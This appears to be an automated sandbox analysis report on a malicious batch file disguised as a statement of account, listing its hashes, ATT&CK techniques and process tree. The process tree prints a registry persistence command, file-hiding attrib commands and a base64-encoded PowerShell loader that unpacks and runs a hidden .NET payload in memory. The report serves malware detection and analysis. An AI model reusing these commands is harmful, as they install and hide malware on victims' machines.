a354101aa8c8db6f2b337ebc68571edd296d374ad8a99f79fd62d2c07321993e

General

Target

SOA Feb-March 2023.bat
Size

1.3MB
MD5

9f8f23997c4e07be88d8dbe835c8b6ed
SHA1

9f40b97b7e1605b05174a6547b9ff470511d5a1f
SHA256

a354101aa8c8db6f2b337ebc68571edd296d374ad8a99f79fd62d2c07321993e
SHA512

5c0660381331a47163f7cd4e1e87c156966dd8c068d852073429523d29e92c934f3de381a7bd8e6cf1efaf94b21864c91c620b850e93c2399ccef476d8228586
SSDEEP

24576:VXdQ7L0Et7plPQaneOkwJzHqOoLokXb184bQM9w5WpFapcq+14kEKaQ8wV9GtnR:KznmW1VH9w2S4QPGr

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1712 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

SOA Feb-March 2023.bat.exe

pid process

1920 SOA Feb-March 2023.bat.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

SOA Feb-March 2023.bat.exe

pid process

1920 SOA Feb-March 2023.bat.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

SOA Feb-March 2023.bat.exe

pid process

1920 SOA Feb-March 2023.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

SOA Feb-March 2023.bat.exe

description pid process

Token: SeDebugPrivilege 1920 SOA Feb-March 2023.bat.exe

pid	process
1712	attrib.exe

pid	process
1920	SOA Feb-March 2023.bat.exe

pid	process
1920	SOA Feb-March 2023.bat.exe

pid	process
1920	SOA Feb-March 2023.bat.exe

description	pid	process
Token: SeDebugPrivilege	1920	SOA Feb-March 2023.bat.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1984 wrote to memory of 1748	1984	cmd.exe	reg.exe
PID 1984 wrote to memory of 1748	1984	cmd.exe	reg.exe
PID 1984 wrote to memory of 1748	1984	cmd.exe	reg.exe
PID 1984 wrote to memory of 1712	1984	cmd.exe	attrib.exe
PID 1984 wrote to memory of 1712	1984	cmd.exe	attrib.exe
PID 1984 wrote to memory of 1712	1984	cmd.exe	attrib.exe
PID 1984 wrote to memory of 1920	1984	cmd.exe	SOA Feb-March 2023.bat.exe
PID 1984 wrote to memory of 1920	1984	cmd.exe	SOA Feb-March 2023.bat.exe
PID 1984 wrote to memory of 1920	1984	cmd.exe	SOA Feb-March 2023.bat.exe
PID 1984 wrote to memory of 1920	1984	cmd.exe	SOA Feb-March 2023.bat.exe
PID 1984 wrote to memory of 1880	1984	cmd.exe	attrib.exe
PID 1984 wrote to memory of 1880	1984	cmd.exe	attrib.exe
PID 1984 wrote to memory of 1880	1984	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

1712 attrib.exe
1880 attrib.exe

pid	process
1712	attrib.exe
1880	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\system32\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v SOA Feb-March 2023 /d "C:\Users\Admin\AppData\Roaming\SOA Feb-March 2023.bat"
2⤵
PID:1748

C:\Windows\system32\attrib.exe
attrib +s +h "C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat".exe
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1712

C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat.exe
"C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAPQBKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwD0AScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Windows\system32\attrib.exe
attrib -s -h "C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat".exe
2⤵
- Views/modifies file attributes
PID:1880

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

2

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

2

T1158

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\SOA Feb-March 2023.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1920-60-0x0000000001E80000-0x0000000001EC0000-memory.dmp

Filesize
256KB

Download

Analysis

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